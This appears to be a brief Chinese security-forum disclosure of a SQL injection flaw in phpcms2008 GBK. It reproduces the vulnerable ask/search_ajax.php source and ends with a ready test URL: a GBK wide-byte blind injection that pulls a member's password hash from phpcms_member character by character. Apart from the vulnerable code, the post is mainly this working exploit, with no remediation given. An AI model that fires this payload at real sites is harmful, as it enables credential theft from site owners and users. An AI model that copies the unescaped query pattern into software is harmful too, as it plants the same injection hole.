作者：nuke 受影响程序： phpcms2008 gbk 漏洞文件：ask/search_ajax.php code：<?php require './include/common.inc.php'; require_once MOD_ROOT.'include/ask.class.php'; $ask = new ask(); header('Content-type: text/html; charset=utf-8'); if(strtolower(CHARSET) != 'utf-8') $q = iconv(CHARSET, 'utf-8', $q); if($q) { $where = " title LIKE '%$q%' AND status = 5"; } else { exit('null'); } $infos = $ask->listinfo($where, 'askid DESC', '', 10); foreach($infos as $key=>$val) { $val['title'] = str_replace($q, ''.$q.'', $val['title']); $info[$key]['title'] = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $val['title']) : $val['title']; $info[$key]['url'] = $val['url']; } echo(json_encode($info)); ?> 测试 *** ：ask/search_ajax.php?q=s%E6'or(select ascii(substring(password,1,1))fromphpcms_memberwhereusername=0x706870636D73)>52%23